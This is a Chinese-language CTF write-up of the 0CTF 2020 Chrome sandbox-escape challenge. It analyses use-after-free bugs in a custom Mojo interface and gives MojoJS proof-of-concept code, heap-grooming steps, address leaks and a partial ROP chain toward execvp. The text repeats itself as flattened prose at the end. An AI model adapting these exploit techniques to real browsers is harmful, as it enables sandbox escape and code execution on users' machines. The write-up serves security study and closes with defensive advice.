沙箱逃逸之0ctf 2020 chrome_sbx writeup
字数 1677 2025-08-06 18:08:11

Chrome沙箱逃逸漏洞分析与利用:0CTF 2020 chrome_sbx题解

1. 题目概述

这道题目是0CTF 2020中的一道Chrome沙箱逃逸题目,主要考察通过Mojo接口实现沙箱逃逸的能力。题目提供了以下关键文件:

  • chromium_sbx.diff: Chromium的补丁文件,包含自定义的Mojo接口实现
  • chrome.zip: 修改后的Chrome浏览器
  • visit.sh: 启动脚本,启用了MojoJS功能(--enable-blink-features=MojoJS)

2. Mojo接口分析

补丁文件中定义了两个Mojo接口:

2.1 TStorage接口

interface TStorage {
    Init() => ();
    CreateInstance() => (pending_remote<TInstance> instance);
    GetLibcAddress() => (uint64 addr);
    GetTextAddress() => (uint64 addr);
};

2.2 TInstance接口

interface TInstance {
    Push(uint64 value) => ();
    Pop() => (uint64 value);
    Set(uint64 index, uint64 value) => ();
    Get(uint64 index) => (uint64 value);
    SetInt(int64 value) => ();
    GetInt() => (int64 value);
    SetDouble(double value) => ();
    GetDouble() => (double value);
    GetTotalSize() => (int64 size);
};

3. 关键类实现

3.1 InnerDbImpl类

这是两个接口实现的基础类,包含以下成员变量和方法:

成员变量:

  • std::array<uint64_t, 200> array_: 大小为200的int64_t数组
  • base::queue<uint64_t> queue_: 存储int64_t的队列
  • int64_t int_value_: 存储int64_t的整数值
  • double double_value_: 存储浮点数值

关键方法:

  • Push/Pop: 操作队列
  • Get/Set: 操作数组
  • SetInt/GetInt: 操作int_value_
  • SetDouble/GetDouble: 操作double_value_
  • GetTotalSize: 返回数组和队列大小的总和

3.2 TStorageImpl类

关键方法:

  • Init: 初始化inner_db_成员
  • CreateInstance: 创建TInstance实例,参数为inner_db_.get()
  • GetLibcAddress: 返回atoi函数地址
  • GetTextAddress: 返回TStorageImpl::Create函数地址

3.3 TInstanceImpl类

主要功能是调用InnerDbImpl类中的对应方法。

4. 漏洞分析

4.1 漏洞一(非预期)

TStorageImpl::CreateInstance中:

void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
    mojo::PendingRemote<TInstance> instance;
    mojo::MakeSelfOwnedReceiver(std::make_unique<TInstanceImpl>(inner_db_.get()),
                               instance.InitWithNewPipeAndPassReceiver());
    std::move(callback).Run(std::move(instance));
}

问题在于:

  1. 使用inner_db_.get()获取原始指针
  2. 当TStorageImpl对象被释放时,inner_db_会被释放
  3. 但TInstance仍然有效,可以操作已释放的内存

PoC:

async function poc() {
    let tStoragePtr = new blink.mojom.TStoragePtr();
    Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tStoragePtr).handle);
    
    // malloc innerdb
    tStoragePtr.init();
    
    // get TInstance ptr
    let tInstancePtr = (await tStoragePtr.createInstance()).instance;
    
    // free the innerdb ptr by free tStoragePtr
    tStoragePtr.ptr.reset();
    
    // still call freed innerdb by tInstangcePTr.
    await tInstancePtr.getTotalSize();
}

4.2 漏洞二(预期)

通过两次调用Init函数形成UAF:

  1. 第一次调用Init初始化inner_db_
  2. 调用CreateInstance创建TInstance
  3. 再次调用Init释放之前的inner_db_
  4. TInstance仍然持有已释放的指针

PoC:

async function poc() {
    let tStoragePtr = new blink.mojom.TStoragePtr();
    Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tStoragePtr).handle);
    
    // malloc innerdb
    tStoragePtr.init();
    
    // get TInstance ptr
    let tInstancePtr = (await tStoragePtr.createInstance()).instance;
    
    // free the innerdb ptr by free malloc innerdb again
    tStoragePtr.init();
    
    // still call freed innerdb by tInstangcePTr.
    await tInstancePtr.getTotalSize();
}

5. 漏洞利用

5.1 内存布局

InnerDbImpl对象大小为0x678字节。我们需要通过控制queue_的内存分配来占用这个空间。

5.2 内存分配策略

queue_的内存分配行为:

  • 扩展std::max(min_new_capacity, capacity() + capacity() / 4)
  • 收缩:当空余内存大于一半时,缩小到sz + sz / 4

通过特定的push/pop序列可以达到分配0x678字节的目的:

1215182227334151637848607593577188556885106132165206

5.3 利用步骤

  1. 获取基址
let atoiAddr = (await tStoragePtr.getLibcAddress()).addr;
let textAddr = (await tStoragePtr.getTextAddress()).addr;
let libcBaseAddr = BigInt(atoiAddr) - 0x47730n;
let textBaseAddr = BigInt(textAddr) - 0x39b5e60n;
  1. 触发漏洞并占用内存
// free the innerdb ptr
tStoragePtr.ptr.reset();

// 通过特定push/pop序列占用内存
for(let i=0; i<0x5; i++) {
    // 具体push/pop操作...
    await sprayTIPtrArr[i].push(BigInt(i));
}
  1. 泄露堆地址
// 重新分配内存并泄露地址
for(let i=0; i<0x80/8; i++) {
    await tInstancePtr.push(0x41414141n + BigInt(i));
}
let leakHeapAddr = -1n;
for(let i=0; i<207; i++) {
    let tmp = (await evilTIPtr.pop()).value;
    if(leakHeapAddr == -1 && tmp != 0) {
        leakHeapAddr = BigInt(tmp);
    }
}
  1. 构造ROP链
let execvp = textBaseAddr + 0x0000000a1b88d0n;
let xchgRaxRsp = textBaseAddr + 0x0000000007fde8e4n;
let popRdi = textBaseAddr + 0x0000000002e9ee1dn;
// ...其他ROP gadget

let ropBuffer = new ArrayBuffer(0x80);
let ropData64 = new BigUint64Array(ropBuffer);
ropDataView.setBigInt64(0x10, xchgRaxRsp, true);
ropDataView.setBigInt64(0x0, popRdiRsi, true);
// ...设置完整的ROP链
  1. 触发ROP
await tInstancePtr.getTotalSize();

6. 关键知识点

  1. Mojo接口安全:Mojo接口实现需要注意智能指针的生命周期管理
  2. UAF利用:通过控制队列的内存分配行为来精确控制堆布局
  3. ROP构造:利用泄露的地址构造ROP链实现代码执行
  4. 内存分配策略:理解queue_的内存扩展和收缩机制对利用至关重要

7. 防御建议

  1. 避免在Mojo接口中使用get()获取原始指针
  2. 确保智能指针的生命周期管理正确
  3. 对Mojo接口进行严格的输入验证
  4. 考虑使用更安全的智能指针包装器
Chrome沙箱逃逸漏洞分析与利用:0CTF 2020 chrome_ sbx题解 1. 题目概述 这道题目是0CTF 2020中的一道Chrome沙箱逃逸题目,主要考察通过Mojo接口实现沙箱逃逸的能力。题目提供了以下关键文件: chromium_sbx.diff : Chromium的补丁文件,包含自定义的Mojo接口实现 chrome.zip : 修改后的Chrome浏览器 visit.sh : 启动脚本,启用了MojoJS功能( --enable-blink-features=MojoJS ) 2. Mojo接口分析 补丁文件中定义了两个Mojo接口: 2.1 TStorage接口 2.2 TInstance接口 3. 关键类实现 3.1 InnerDbImpl类 这是两个接口实现的基础类,包含以下成员变量和方法: 成员变量 : std::array<uint64_t, 200> array_ : 大小为200的int64_ t数组 base::queue<uint64_t> queue_ : 存储int64_ t的队列 int64_t int_value_ : 存储int64_ t的整数值 double double_value_ : 存储浮点数值 关键方法 : Push/Pop : 操作队列 Get/Set : 操作数组 SetInt/GetInt : 操作int_ value_ SetDouble/GetDouble : 操作double_ value_ GetTotalSize : 返回数组和队列大小的总和 3.2 TStorageImpl类 关键方法 : Init : 初始化 inner_db_ 成员 CreateInstance : 创建TInstance实例,参数为 inner_db_.get() GetLibcAddress : 返回 atoi 函数地址 GetTextAddress : 返回 TStorageImpl::Create 函数地址 3.3 TInstanceImpl类 主要功能是调用InnerDbImpl类中的对应方法。 4. 漏洞分析 4.1 漏洞一(非预期) 在 TStorageImpl::CreateInstance 中: 问题在于: 使用 inner_db_.get() 获取原始指针 当TStorageImpl对象被释放时, inner_db_ 会被释放 但TInstance仍然有效,可以操作已释放的内存 PoC : 4.2 漏洞二(预期) 通过两次调用Init函数形成UAF: 第一次调用Init初始化 inner_db_ 调用CreateInstance创建TInstance 再次调用Init释放之前的 inner_db_ TInstance仍然持有已释放的指针 PoC : 5. 漏洞利用 5.1 内存布局 InnerDbImpl 对象大小为0x678字节。我们需要通过控制 queue_ 的内存分配来占用这个空间。 5.2 内存分配策略 queue_ 的内存分配行为: 扩展 : std::max(min_new_capacity, capacity() + capacity() / 4) 收缩 :当空余内存大于一半时,缩小到 sz + sz / 4 通过特定的push/pop序列可以达到分配0x678字节的目的: 5.3 利用步骤 获取基址 : 触发漏洞并占用内存 : 泄露堆地址 : 构造ROP链 : 触发ROP : 6. 关键知识点 Mojo接口安全 :Mojo接口实现需要注意智能指针的生命周期管理 UAF利用 :通过控制队列的内存分配行为来精确控制堆布局 ROP构造 :利用泄露的地址构造ROP链实现代码执行 内存分配策略 :理解 queue_ 的内存扩展和收缩机制对利用至关重要 7. 防御建议 避免在Mojo接口中使用 get() 获取原始指针 确保智能指针的生命周期管理正确 对Mojo接口进行严格的输入验证 考虑使用更安全的智能指针包装器